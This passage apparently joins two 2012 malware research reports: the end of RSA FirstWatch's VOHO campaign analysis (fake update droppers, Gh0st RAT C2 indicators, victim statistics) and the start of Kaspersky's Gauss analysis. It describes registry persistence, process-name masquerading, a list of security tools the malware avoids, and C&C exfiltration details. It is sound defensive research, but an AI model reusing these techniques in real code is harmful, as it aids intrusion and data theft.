commonly utilized by malware for persistency while the disabling of Windows System Restore prevents the user from reverting the system to a known good state before infection occurred. The malware also wipes out all the restore points that are present in the system before infection. The main component, VPTray.EXE, is the one that communicates directly to the botnet command and control. It connects to IP 134.255.242.47 via HTTPS. It remains active in the system listening constantly for instructions while keeping the other components in check. Figure 10: VPTray.exe connecting to IP 134.255.242.47. The following symptoms can be observed in an infected system: Presence of VPTray.EXE and UP.BAK in the User Local Settings\Temp folder. An infected Administrator account in Windows XP will have these files in C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ Presence of the registry value SymantecUpdate with data in HEX values representing the file and location of VPTray.EXE in the following registry keys: HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run Presence of running process VPTray.EXE Unable to use the Registry Editor Unable to use Windows System Restore Fake Symantec Update Variant 2 Dropper acc583fc596d38626d37cbf6de8a01cb VPTray.EXE b894efe4173f90479fddff455daf6ff3 Unlike the first variant, this one is not compressed. Both the dropper and the dropped file (VPTray.EXE) are not compressed. Other difference it has with the first variant is the location of the dropped file and the way persistency is achieved. But its modus operandi remains the same, and that is to pretend to be a Symantec Live Update. When the dropper is executed, it drops VPTray.EXE in C:\Program Files\Symantec\LiveUpdate\. Having these file in a Symantec folder in Program Files is already a red flag especially if the compromised machine does not have a Symantec product installed. It then adds the registry key below to achieve persistency. Key:HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run Value: Symantec LiveUpdate Data: C:\Program Files\Symantec\LiveUpdate\VPTray.exe Obviously, the way it achieves persistency is totally different from variant 1. Variant 2 used a different registry hive Variant 2 s registry value is SymantecLiveUpdate compared to SymantecUpdate in variant 1 The registry data is in ASCII and not in HEX. This is fine because the malware file is located in a created Symantec folder in Program Files. Figure 11: Memory Dump of the Malware Containing the Strings of the Filenames To ensure its survival, the Windows System Restore is disabled. But unlike the first variant, this one did not disable the registry editor due to the fact that the added registry value and data appears to be legitimate because it utilizes a location of the file that appears to be a normal location for a Symantec file. To communicate to the attacker the main component, VPTray.EXE, connects to the domain usc-data.suroot.com. The following symptoms can be observed in an infected system: Presence of VPTray.EXE in C:\Program Files\Symantec\LiveUpdate\ Presence of the registry value SymantecLiveUpdate with the data C:\Program Files\Symantec\LiveUpdate\VPTray.EXE HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run Presence of running process VPTray.EXE Unable to use Windows System Restore ** As of this writing, the main component, VPTray.EXE, is not detected in VirusTotal using its hash search function. Fake Microsoft Update Svohost.EXE 2fe340fe2574ae540bd98bd9af8ec67d Similar to the Fake Symantec Update, this malware comes in a UPX compressed binary file. It passes itself off as a Microsoft update but nothing can be further from the truth. When the malware is first executed, it installs itself in the system similar to the method employed by the Fake Symantec Update. The only difference is the file that is dropped and registry value and data it uses. The file is dropped in the current user Local Settings\Temp folder and is named SVOHOST.EXE, which is an exact copy of the malware. This technique of naming a file almost similar to a legitimate file (SVCHOST.EXE) is known as homographic obfuscation. But in this case, the less elegant method is used, and that is to simply replace one letter with another. To autostart, the malware utilized the same registry keys as the Fake Symantec Update. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run By using these registry hives, the malware is able to target users that are currently logged into the machine even those that are not currently active in the system (think of Switch User mode). The malware adds the value Microsoft Update to these keys. A common technique, a very typical malware deception, to fool users into believing it is something that it is not. Aside from this, it also utilizes HEX digits to obfuscate the registry data, which represents the location and the filename of the malware. So instead of the data being C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svohost.exe for an infected Administrator account in Windows XP, it appears as 43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 :5c:54:65:6d:70:5c:73:76:6f:68:6f:73:74:2e:65:78:65:00. Once all the malware installation procedure is done, the original malware passes control to SVOHOST.EXE and deletes itself to hide any traces of its existence. Once the malware is active in the system it utilizes certain protective mechanisms such as the following: Registry Editor is disabled Windows System Restore is disabled Disabling the registry editor prevents the auditing and review of registry entries, especially those that are commonly utilized by malware for persistency while the disabling of Windows System Restore prevents the user from reverting the system to a known good state before infection occurred. The malware also wipes out all the restore points that are present in the system before infection. To communicate to the attacker, the malware connects to IP 58.64.155.59. Figure 12: SVOHOST.EXE connecting to 58.64.155.59. The following symptoms can be observed in an infected system. Presence of SVOHOST.EXE in the User Local Settings\Temp folder. An infected Administrator account in Windows XP will have these files in C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ Presence of the registry value Microsoft Update with data in HEX values representing the file and location of SVOHOST.EXE in the following registry keys: HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run Presence of running process SVOHOST.EXE Unable to use the Registry Editor Unable to use Windows System Restore VOHO Campaign Analysis RSA FirstWatch research examined HTTP logs covering the June/July 2012 timeframe for the exploit chain in this example. This analysis, combined with a detailed understanding of the exploit mechanism, allowed the team to get a better understanding of the scope of compromise of this campaign. Based on our analysis, we can determine that this attack was broken up into two phases. Phase 1 We observed referral traffic begin on June 25, 2012 to the exploit site. However, according to the server logs, actual exploitation of Internet Explorer began on July 9, 2012 at approximately 7:56 AM EST when the first successful exploits of visiting browsers began to hit the exploit code. We observed some movement of exploit code across directories on the *******curling.com web server during the investigation, so this gap was likely caused by the attacker setting up a new campaign. Phase 1 exploit activity continued over the course of two days, with continuous access, until July 10th, when activity stopped at 3:43 pm EST. Phase 2 Phase 2, which consisted of the above mentioned attack on the Sun Java client, began on July 16, 2012, when the first successful exploits of visiting java clients began to hit the exploit server at approximately 7:46am EST. This exploit activity continued over the course of a few days, and ceased on July 18, 2012, at approximately 9:12 am EST, which was when the server administrator of *******curling.com brought the server down for compromise remediation. Overall Statistics Based on our analysis, a total of 32,160 unique hosts, representing 731 unique global organizations, were redirected from compromised web servers injected with the redirect iframe to the exploit server. Of these redirects, 3,934 hosts were seen to download the exploit CAB and JAR files (indicating a successful exploit/compromise of the visiting host). This gives a success statistic of 12%, which based on our previous understanding of exploit campaigns, indicates a very successful campaign. Figure 13: Success of Compromise Total Exposure and Compromise 35,000 30,000 25,000 20,000 15,000 10,000 5,000 Total Exposure by Redirect Total Compromises Of the listed sites used to redirect hosts to the exploit site, the top four redirecting web servers are as follows: Figure 14: Top Four Redirect Sites With success rates per exploit type being split pretty much down the middle: Exploit Breakdown Figure 15: Exploit Breakdown CAB Downloads JAR Downloads Exploited Organization Breakdown Of the hosts above that downloaded the exploit CAB and JAR files, the RSA FirstWatch team further examined compromised organizations by identifying the visiting hosts and crossreferencing the IP addresses to the Autonomous Systems that they belonged to. CAVEAT: Because we didn t have observation of the compromised host themselves, nor command and control traffic, our understanding of compromise is strictly-related to observed HTTP traffic. This analysis would not take into account host or perimeter-based blocking systems at affected organizations. With this data we then grouped those autonomous systems into the following industries: Corporate These systems were identified as being members of typical corporate networks, which included enterprises and business, as well as business-class space in large ISP organizations. Defense Industrial Base (DIB) These systems were systems in ASNs that were Local Government These systems were systems in networks identified as known to be involved with DIB consulting, systems and process. government systems in various cities, counties and towns. Internet Service Provider (ISP) - These systems were hosts in networks that were identified as common internet service provider space. This particular classification accounts largely for consumer-based internet users, but may also include corporate assets that aren t immediately identifiable by ASN examination. Federal Government These systems are hosts in U.S. Government IP space or Washington DC area local government space. This would include Federal agencies and support organizations. Educational Institutions (EDU) These systems were hosts in networks identified as educational institutions. Much like ISP traffic, this traffic is difficult to breakdown into more specific identifying information. Financial Services Organizations These systems were systems in identifiable Bank, Credit Union, Trading and other organizations related to financial services. Healthcare - These systems were hosts in identifiable healthcare industry space. This would include hospital, pharmaceutical, patient services and clinic space. Other Government These systems were national government systems identified in foreign IP space or global government organizations (example: United Nations) Utilities / SCADA - These systems were hosts identified in organizations that supply or support utility or SCADA-related services such as Energy and water services. Figure 16: Compromises by Industry Compromises by Industry UTILITIES / SCADA OTHER GOVT LOCAL GOVT HEALTHCARE FINANCIAL FED GOVT CORPORATE 1,000 1,500 2,000 2,500 By removing ISP traffic, we are better able to examine the other industries: Figure 17: Compromise by Industry without ISP Compromise By Industry (without ISP) UTILITIES / SCADA OTHER GOVT LOCAL GOVT HEALTHCARE FINANCIAL FED GOVT CORPORATE Linked Campaigns Wsdhealthy.com xxixii Based on our understanding of this campaign and TTPs (tools, techniques and procedures) used, we believe the following malware samples observed in January 2012 are related and belong to the same threat actors. 03db29c71b0031af08081f5e2f7dcdf2 644161889f0f60885b2a0eec12038b66 These samples communicated with C2 at 58.64.143.245. This IP address has resolved to the following DNS names in the past: usc-data.suroot.com usa-mail.scieron.com dll.freshdns.org Delivery of these samples appeared to be a similar attack vector, that being a hacked server that was redirected to by iframe insertion: www.wsdhealthy.com Using the following URLs: www.wsdhealthy.com/userfiles/file/Applet19.html www.wsdhealthy.com/userfiles/file/Applet19.exe www.wsdhealthy.com/userfiles/file/Applet.html www.wsdhealthy.com/userfiles/file/Applet.jar www.wsdhealthy.com/userfiles/file/Applet.exe This file structure indicates a similar java exploitation, and while we didn t have direct observation of this campaign, open source intelligence indicates a possible exploit of: 2011-3544 - Unspecified vulnerability in the Java Runtime Environment Additionally, the Gh0st RAT variant used in this campaign matched identifiers used in the VOHO campaign. Detection and Indicators of Compromise Network For network detection of this threat, users should look for historic traffic to the following IPs and Domains: IP Addresses 58.64.155.59 (gh0st RAT C2) 58.64.155.57 (gh0st RAT C2) 58.64.143.245 (gh0st RAT C2) Domains wsdhealthy.com (legitimate site hosting exploit code/malware) *******curling.com (legitimate site hosting exploit code/malware) usc-data.suroot.com (gh0st RAT C2) usa-mail.scieron.com (gh0st RAT C2) dll.freshdns.org (gh0st RAT C2) Gh0st RAT Generically, gh0st RAT communication using the unmodified source code can be detected by looking for non-RFC compliant network traffic on allowed paths, which contain the string Gh0st in the first view five bytes of the packet payload. Because this is a commonly used tactic to detect Gh0st on the network, attackers often change this string to avoid detection. In the case of the VOHO compromise, this indicator is HTTPS Known Malicious MD5 Hashes 03db29c71b0031af08081f5e2f7dcdf2 644161889f0f60885b2a0eec12038b66 e6b43c299a9a1f5abd9be2b729e54577 2fe340fe2574ae540bd98bd9af8ec67d RSA NetWitness Indicators ip.dst = 58.64.155.59,58.64.155.57,58.64.143.245,64.26.174.74 || alias.host = www.wsdhealthy.com ,usc-data.suroot.com,usa-mail.scieron.com,dll.freshdns.org Additionally, the following feeds and parsers from RSA NetWitness Live service can be used for additional Gh0st RAT detection. Gh0st parser APT-domains feed APT-IPs feed Conclusions RSA FirstWatch research has revealed an exploit and compromise campaign with connections over the past 8 months. The collected data suggests that this attack was orchestrated and carried out by threat actors commonly referred to in the industry as Use of the xKungFoo script kit for victim redirection Use of attack methodology that matches motives seen in past APT attacks most notably such as those seen in the Aurora and GhostNet campaigns Use of the gh0st remote access tool (RAT) in this and previous campaigns Use of command and control infrastructure in the Hong Kong area in this and previous campaigns Gross impact and on almost 900 unique organizations Targets of Interest and Opportunity being geographically disperse in addition to industrial & vertical diverse with a heavy concentration in the following areas: International finance & banking Technology Government municipal, state, federal and international Utilities & energy Educational Defense Industrial Base (DIB) Corporate Enterprise The possibility exists that this was intentional misdirection on the part of the attackers in regards to their origin. However, the RSA FirstWatch team believes the data supports our analysis and this is further evidence of APT intrusion into United States government and corporate assets. Disclaimer RSA Security LLC ( ) believes the information in this publication is accurate as of its publication date. RSA disclaims any obligation to update after the date hereof. The information is subject to update without notice. The analysis may include technical or other inaccuracies and/or typographical errors. THE INFORMATION IN THIS PUBLICATION IS PROVIDED TO FOR INFORMATIONAL PURPOSES ONLY, IS PROVIDED "AS IS," AND SHALL NOT BE CONSIDERED PRODUCT DOCUMENTATION OR SPECIFICATIONS UNDER THE TERMS OF ANY LICENSE OR SIMILAR AGREEMENT. RSA MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND WITH RESPECT TO THE INFORMATION IN THIS PUBLICATION, AND SPECIFICALLY DISCLAIMS IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. http://www.wired.com/threatlevel/2010/01/operation-aurora/ http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-EspionageNetwork http://googleonlinesecurity.blogspot.com/2012/06/security-warnings-for-suspected-state.html http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html http://thediplomat.com/flashpoints-blog/2011/06/07/china-cyber-attack-fallacies/ http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html viii http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmailaccounts/12462 http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf http://www.malwaredomainlist.com/mdl.php?search=wsdhealthy.com&colsearch=All&quantity=50 http://www.mywot.com/en/scorecard/wsdhealthy.com http://www.malwaregroup.com/domains/details/wsdhealthy.com ABOUT RSA RSA, The Security Division of EMC, is the premier provider of security, risk and compliance management solutions for business acceleration. RSA helps the world s leading organizations succeed by solving their most complex and sensitive security challenges. These challenges include managing organizational risk, safeguarding mobile access and collaboration, proving compliance, and securing virtual and cloud environments. Combining business-critical controls in identity assurance, encryption & key management, SIEM, Data Loss Prevention and Fraud Protection with industry leading eGRC capabilities and robust consulting services, RSA brings visibility and trust to millions of user identities, the transactions that they perform and the data that is generated. For more information, please visit www.RSA.com and www.EMC.com. EMC2, EMC, RSA, FirstWatch, NetWitness and the RSA logo are registered trademarks or trademarks of EMC Corporation in the United States and other countries. All other trademarks used herein are the property of their respective owners. 2012 EMC Corporation. All rights reserved. Published in the USA. www.emc.com/rsa Gauss: Abnormal Distribution Kaspersky Lab Global Research and Analysis Team Contents Introduction Executive Summary Infection stats Operating System Statistics Architecture Comparison with Flame Wmiqry32/Wmihlp32.dll aka ShellHW Installation Operation Dskapi.ocx USB Payload thumbs.db file Smdk.ocx McDmn.ocx Lanhlp32.ocx Devwiz.ocx Winshell.ocx Windig.ocx Gauss C&C Information Gauss C2 Domains Overview: DNS Balancing Timeline Files list Conclusion Introduction While analyzing the Flame malware that we detected in May 2012, Kaspersky Lab experts identified some distinguishing features of Flame s modules. Based on those features, we discovered that in 2009, the first variant of the Stuxnet worm included a module that was created based on the Flame platform. This indicates that there was some form of collaboration between the groups that developed the Flame and Tilded (Stuxnet/Duqu) platforms. Based on the results of a detailed analysis of Flame, we continued to actively search for new, unknown components. A more in-depth analysis conducted in June 2012 resulted in the discovery of a new, previously unknown malware platform that uses a modular structure resembling that of Flame, a similar code base and system for communicating to C&C servers, as well as numerous other similarities to Flame. In our opinion, all of this clearly indicates that the new platform which we discovered and which we called Gauss, another example of a cyber-espionage toolkit based on the Flame platform. Gauss is a project developed in 2011-2012 along the same lines as the Flame project. The malware has been actively distributed in the Middle East for at least the past 10 months. The largest number of Gauss infections has been recorded in Lebanon, in contrast to Flame, which spread primarily in Iran. Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks for instance, Bank of Beirut, Byblos Bank, and Fransabank. Curiously, several Gauss modules are named after famous mathematicians. The platform includes modules that go by the names Gauss Lagrange Godel Tailor Kurt (in an apparent reference to Godel). The Gauss module is responsible for collecting the most critical information, which is why we decided to name the entire toolkit after it. Gauss is a much more widespread threat than Flame. However, we have found no self-replication functionality in the modules that we have seen to date, which leaves open the question of its original attack vector. Executive Summary The first known Gauss infections date back to September-October 2011. During that period, the Gauss authors modified different modules multiple times. They also changed command server addresses. In the middle of July 2012, when we had already discovered Gauss and were studying it, the command servers went offline. Gauss is designed to collect information and send the data collected to its command-and-control servers. Information is collected using various modules, each of which has its own unique functionality: Injecting its own modules into different browsers in order to intercept user sessions and steal passwords, cookies and browser history. Collecting information about the computer s network connections. Collecting information about processes and folders. Collecting information about BIOS, CMOS RAM. Collecting information about local, network and removable drives. Infecting USB drives with a spy module in order to steal information from other computers. Installing the custom Palida Narrow font (purpose unknown). Ensuring the entire toolkit s loading and operation. Interacting with the command and control server, sending the information collected to it, downloading additional modules. The spy module that works on USB drives uses an .LNK exploit for the CVE-2010-2568 (http://web.nvd.nist.gov/view/ vuln/detail?vulnId=CVE-2010-2568) vulnerability. The exploit is similar to the one used in the Stuxnet worm, but it is more effective. The module masks the Trojan s files on the USB drive without using a driver. It does not infect the system: information is extracted from it using a spy module (32- or 64-bit) and saved on the USB drive. Infection stats We began our investigation into Gauss in early June 2012. Based on data obtained through the Kaspersky Security Network, we noticed right away that the Trojan appeared to be widely distributed in three particular countries in the Middle East. Further observation later confirmed this three-country concentration. As of 31 July 2012, we ve counted around 2500 unique PCs on which files from the Gauss collection have been found. Most infected countries The highest number of infections is recorded in Lebanon, with more than 1600 computers affected. The Gauss code (winshell.ocx) contains direct commands to intercept data required to work with Lebanese banks including the Bank of Beirut, Byblos Bank and Fransabank. In Israel and the Palestinian Territory, 750 incidents have been recorded. Unique users Lebanon 1660 Israel Palestinian Territory United States United Arab Emirates Germany Egypt Qatar Jordan Saudi Arabia Syria Top 10 infected countries As can be seen in the above table, with the exceptions of the USA and Germany, all incidents took place in the Middle East. However, we believe that in the majority of cases linked to the USA and Germany the affected users were actually in the Middle East too - using VPNs (or the Tor anonymity network). In all, we ve recorded incidents in 25 countries around the world; however, in all the countries outside the top 10 only one or two incidents have been recorded: Total infected users Regarding the spreading mechanism used by Gauss, the obtained data leave us with more questions unanswered than solved. The overall number of infections (around 2500) that we ve detected could in reality just be a small portion of tens of thousands of infections, since our statistics only cover users of Kaspersky Lab products. When we compare the number of Gauss infections with those of other programs discovered earlier that have either common components or structures, we get the following figures: Name Incidents (KL stats) Incidents (approx.) Stuxnet More than 100 000 More than 300 000 Gauss ~ 2500 Flame ~ 700 ~5000-6000 Duqu ~50-60 Gauss has been spreading in the region for at least 10 months, in the course of which it has infected thousands of systems. On one hand, this is an uncharacteristically high number for targeted attacks similar to Duqu (it s possible that such a high number of incidents is due to the presence of a worm in one of the Gauss modules that we still don t know about). However, the infections have been predominantly within the boundaries of a rather small geographical region. If the malware had the ability to spread indiscriminately for example, on USB sticks as was the case with Stuxnet infections would have been detected in much greater numbers in other countries. Operating System Statistics Gauss was designed for 32-bit versions of the Windows operating system. Some of the modules do not work under Windows 7 SP1. % from total Windows 7 34.87 XP Professional SP2 26.40 XP Professional SP3 17.92 Windows 7 SP1 10.77 Windows 7 Home 2.15 Vista Home SP1 1.71 Vista Home 1.22 Windows 7 Home SP1 0.88 Vista Home SP2 0.83 Vista 0.64 Vista SP2 0.39 XP Home Edition 0.39 Vista SP1 0.34 Other 1.47 There is a separate spy module that operates on USB drives (see description of dskapi.ocx) and is designed to collect information from 64-bit systems. Architecture Gauss is a modular system. The number and combination of modules may change from one infected system to another. In the course of our research, we discovered the following modules: Module name Location Description Cosmos %system32%\devwiz.ocx Collects information about CMOS, BIOS Kurt, Godel %system32%\dskapi.ocx Infects USB drives with data-stealing module Tailor %system32%\lanhlp32.ocx Collects information about network interfaces McDomain %system32%\mcdmn.ocx Collects information about user s domain UsbDir %system32%\smdk.ocx Collects information about computer s drives Lagrange %system32%\windig.ocx Installs a custom Palida Narrow font Gauss %system32%\winshell.ocx Installs browser plugins that collect passwords and cookies ShellHW %system32%\wbem\wmiqry32.ocx %system32%\wbem\wmihlp32.ocx Main loader and communication module The configuration of a specific combination of modules for each system is described in a special registry key. This technique, as well as the configuration structure itself, is similar to that used in Stuxnet/Duqu (storing of the configuration in the Windows registry) and Flame (configuration structure). Flame stores its configuration in the main module (mssecmgr.ocx). We created a special detection routine which helped us to discover various Gauss configurations based on registry settings on infected machines. We detected about 1700 such configurations in total, which revealed a picture of modules propagation: Module Number of PC with the module (defined in config) UsbDir 1655 Godel 1220 Gauss Gauss_1.1 Kurt (aka Godel) Gauss 1.0.8 Tailor McDomain 1.2 Cosmos Lagrange You can see three main modules, which are used in most cases Gauss, Godel and UsbDir. Some examples of different configs: Cosmos Gauss McDomain 1.2 UsbDir Cosmos Gauss 1.0.8 Godel McDomain 1.2 Tailor UsbDir Godel Gauss 1.0.8 Godel Lagrange Tailor UsdDir Gauss Kurt UsbDir As mentioned above, we have been unable to discover the original infection vector and the dropper file that installs Gauss in the system. In all the systems we have studied, we dealt with a set of modules that was already installed. It is possible that during initial infection, only the ShellHW component is installed, which then installs the other modules. ShellHW (file name wmiqry32.dll wmihlp32.dll ) is the main component of the malware which ensures that all other Gauss modules are loaded when the malware starts and operate correctly. Comparison with Flame As we mentioned above, there are significant similarities in code and architecture between Gauss and Flame. In fact, it is largely due to these similarities that Gauss was discovered. We created the following table for a clearer understanding of these facts and proof of kinship between the two attack platforms: Feature Flame Gauss Modular architecture Using kernel drivers .OCX files extensions Configuration settings Predefined in main body Stored in registry DLL injections Visual C++ Encryption methods Using USB as storage Yes (hub001.dat) Yes (.thumbs.db) Embedded LUA scripting Browser history/cookies stealer Yes (soapr32/nteps32) Yes (winshell) CVE2010-2568 (.LNK exploit) Yes (target.lnk) Yes (target.lnk) C&C communication https https Log files/stolen data stored in %temp% Zlib compression of collected data In addition to the features listed above, there are considerable similarities in the operation of the Flame and Gauss C&C servers. The relevant analysis is provided in the C&C Communication section. There are more similarities in the code and data of the modules: C++ runtime type information (RTTI) structures are encoded to hide the names of the standard library classes. The same encoded names can be found in both Flame and Gauss modules, i.e. the first RTTI structure contains name AVnxsys_uwip that most likely belongs to the AVtype_info class. rpcns4.ocx Flame module: Flask winshell.ocx Gauss module: Gauss Most of Flame and Gauss modules contain dozens of object initialization functions that construct string objects from encrypted data. The layout of these functions is almost identical. mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module String decryption routines ( GetDecryptedStrings used in initialization functions) are very similar, although not identical, because the layout of the structures holding encrypted strings was changed. mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module Wmiqry32/Wmihlp32.dll aka ShellHW Installed by: Unknown dropper Operates in two modes: installation and normal operation. File names %system32%\wbem\wmiqry32.dll %system32%\wbem\wmihlp32.dll Some known MD5 C3B8AD4ECA93114947C777B19D3C6059 08D7DDB11E16B86544E0C3E677A60E10 055AE6B8070DF0B3521D78E1B8D2FCE4 FA54A8D31E1434539FBB9A412F4D32FF 01567CA73862056304BB87CBF797B899 23D956C297C67D94F591FCB574D9325F Image Size 258 048 bytes Number of resources Resources 121, 131, 141, 151, 161, 171, 181 Date of compilation Jun 1 2011 Jul 16 2011 Jul 18 2011 Sep 28 2011 Oct 20 2011 Related files %temp%\~shw.tmp %temp%\~stm.tmp Installation The module checks if it was loaded by lsass.exe process and, if true, proceeds with the installation. It writes itself in files: %system32%\wbem\wmiqry32.dll, %system32%\wbem\wmihlp32.dll and modifies the system registry to be loaded instead of %system32%\wbem\wbemsvc.dll file. To achieve this, it writes the following registry value: [HKCR\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32] Default = %system32%\wbem\wmihlp32.dll Operation The module is automatically loaded into processes that use wbemsvc.dll. When loaded in svchost.exe that was started with -k netsvc parameter, it starts its main thread. The module creates ShellHWStop Global\ShellHWDetectionEvent events, mutex ShellHWDetectionMutex The main thread exits if the following processes were found at its start: LMon.exe sagui.exe RDTask.exe kpf4gui.exe ALsvc.exe pxagent.exe fsma32.exe licwiz.exe SavService.exe prevxcsi.exe alertwall.exe livehelp.exe SAVAdminService.exe csi-eui.exe mpf.exe lookout.exe savprogress.exe lpfw.exe mpfcm.exe emlproui.exe savmain.exe outpost.exe fameh32.exe emlproxy.exe savcleanup.exe filemon.exe AntiHook.exe endtaskpro.exe savcli.exe procmon.exe xfilter.exe netguardlite.exe backgroundscanclient.exe Sniffer.exe scfservice.exe oasclnt.exe sdcservice.exe acs.exe scfmanager.exe omnitray.exe sdcdevconx.exe aupdrun.exe spywareterminatorshield.exe onlinent.exe sdcdevconIA.exe sppfw.exe spywat~1.exe opf.exe sdcdevcon.exe spfirewallsvc.exe ssupdate.exe pctavsvc.exe configuresav.exe fwsrv.exe terminet.exe pctav.exe alupdate.exe opfsvc.exe tscutynt.exe pcviper.exe InstLsp.exe uwcdsvr.exe umxtray.exe persfw.exe CMain.exe dfw.exe updclient.exe pgaccount.exe CavAUD.exe ipatrol.exe webwall.exe privatefirewall3.exe CavEmSrv.exe pcipprev.exe winroute.exe protect.exe Cavmr.exe prifw.exe apvxdwin.exe rtt_crc_service.exe Cavvl.exe tzpfw.exe as3pf.exe schedulerdaemon.exe CavApp.exe privatefirewall3.exe avas.exe sdtrayapp.exe CavCons.exe pfft.exe avcom.exe siteadv.exe CavMud.exe armorwall.exe avkproxy.exe sndsrvc.exe CavUMAS.exe app_firewall.exe avkservice.exe snsmcon.exe UUpd.exe blackd.exe avktray.exe snsupd.exe cavasm.exe blackice.exe avkwctrl.exe procguard.exe CavSub.exe umxagent.exe avmgma.exe DCSUserProt.exe CavUserUpd.exe kpf4ss.exe avtask.exe avkwctl.exe CavQ.exe tppfdmn.exe aws.exe firewall.exe Cavoar.exe blinksvc.exe bgctl.exe THGuard.exe CEmRep.exe sp_rsser.exe bgnt.exe spybotsd.exe OnAccessInstaller.exe op_mon.exe bootsafe.exe xauth_service.exe SoftAct.exe cmdagent.exe bullguard.exe xfilter.exe CavSn.exe VCATCH.EXE cdas2.exe zlh.exe Packetizer.exe SpyHunter3.exe cmgrdian.exe adoronsfirewall.exe Packetyzer.exe wwasher.exe configmgr.exe scfservice.exe zanda.exe authfw.exe cpd.exe scfmanager.exe zerospywarele.exe dvpapi.exe espwatch.exe dltray.exe zerospywarelite_installer.exe clamd.exe fgui.exe dlservice.exe Wireshark.exe sab_wab.exe filedeleter.exe ashwebsv.exe tshark.exe SUPERAntiSpyware.exe firewall.exe ashdisp.exe rawshark.exe vdtask.exe firewall2004.exe ashmaisv.exe Ethereal.exe asr.exe firewallgui.exe ashserv.exe Tethereal.exe NetguardLite.exe gateway.exe aswupdsv.exe Windump.exe nstzerospywarelite.exe hpf_.exe avastui.exe Tcpdump.exe cdinstx.exe iface.exe avastsvc.exe Netcap.exe cdas17.exe invent.exe Netmon.exe fsrt.exe ipcserver.exe CV.exe VSDesktop.exe ipctray.exe The module reads the registry value SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability TimeStampForUI . It is an encrypted configuration file. The configuration file contains the list of additional modules, their names, DLL exports names to call and location of the modules additional files. Gauss ShellNotifyUser ShellNotifyUserEx SetWindowEvent InitShellEx %systemroot%\system32\winshell.ocx %temp%\ws1bin.dat Godel InitCache RevertCache ValidateEntry CreateEntry %windir%\system32\dskapi.ocx %temp%\~gdl.tmp UsbDir InitCache RevertCache ValidateEntry CreateEntry %windir%\system32\smdk.ocx %temp%\~mdk.tmp String values from config file (example) Every module is loaded and its export functions are called as specified in the configuration. Most of the actions are logged in an encrypted (with XOR) file %temp%\~shw.tmp Sample of decrypted ~shw.tmp After loading additional modules, it tries to acquire the same privileges as explorer.exe and then starts its C&C interaction loop. Prior to communicating with the C&C, all the information from the other modules log files is copied to the ~shw.tmp file. Paths to the log files are taken from the TimeStampForUI configuration file. As a result, at this stage ~shw.tmp becomes a universal container file containing all the stolen data. It checks Internet connection (https) by accessing URLs specified in its resource 161. It then checks an https connection with www.google.com or www.update.windows.com. If 200 OK is received in reply, it sends a request with the proxy server parameters taken from the prefs.js file of the Mozilla Firefox browser. When an Internet connection is available, it connects to its C&C servers that are specified in resource 131: Connection is established using WinInet API and is performed in two stages: GET request to the server. The response from the server is expected to contain new modules, commands or configuration data. GET [C&C domain]/userhome.php?sid=[random string]==&uid=VfHx8fHx8fHx8fHx8f Hx8fHx8fE= POST request to the server with the contents of the file ~shw.tmp that contains all data collected from the infected computer. The response from the server is decrypted using XOR and 0xACDC as the key. Exfiltrated data is compressed with Zlib. The C&C connection routine is controlled by a DWORD value that is read from the registry value: [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability] ShutdownIntervalSnapshotUI The initial value of the counter is read from resource 181 and is equal to 56. The counter is decremented every time the module fails to connect to its C&C server or to the servers specified in resource 161 and it is reset to the initial value after every successful connection to the C&C server. The module exits the C&C connection loop when the value of the counter becomes equal to zero. Resource Description 3 DWORDs, related to list of AVs Hostnames and URLs of C&C servers List of AVs, firewalls, etc. Additional configuration DWORDs Hostnames and URLs of legitimate sites to check Internet connection String with cryptic identifiers DWORD, number of attempts to connect to the C&C before giving up File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: File SubType: UNKNOWN Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WMI COM Helper FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft Corporation. Windows(TM) is a trade mark of Microsoft Corporation ProductName: WMI COM Services Help ProductVersion: 05.01.2600.5788 Version info wmiqry32.dll Dskapi.ocx Name of the module used in Gauss: Godel or Kurt File names %system32%\dskapi.ocx Some known MD5 ED5559B0C554055380D75C1D7F9C4424 E379270F53BA148D333134011AA3600C EF83394D9600F6D2808E0E99B5F932CA Image Size 1 327 104 bytes 954 368 bytes 962 560 bytes 417 792 bytes Number of resources Resources 100, 101 Date of compilation 28.09.2011 13.10.2011 01.11.2011 29.11.2011 Related files %temp%\~gdl.tmp .thumbs.db wabdat.dat desktop.ini target.lnk System32.dat System32.bin .CatRoot.tmp Creates events: {12258790-A76B} Global\RasSrvReady All functionality is implemented in RevertCache export. The module starts its main thread and then returns. The main thread waits for the {12258790-A76B} event and continuously checks for the 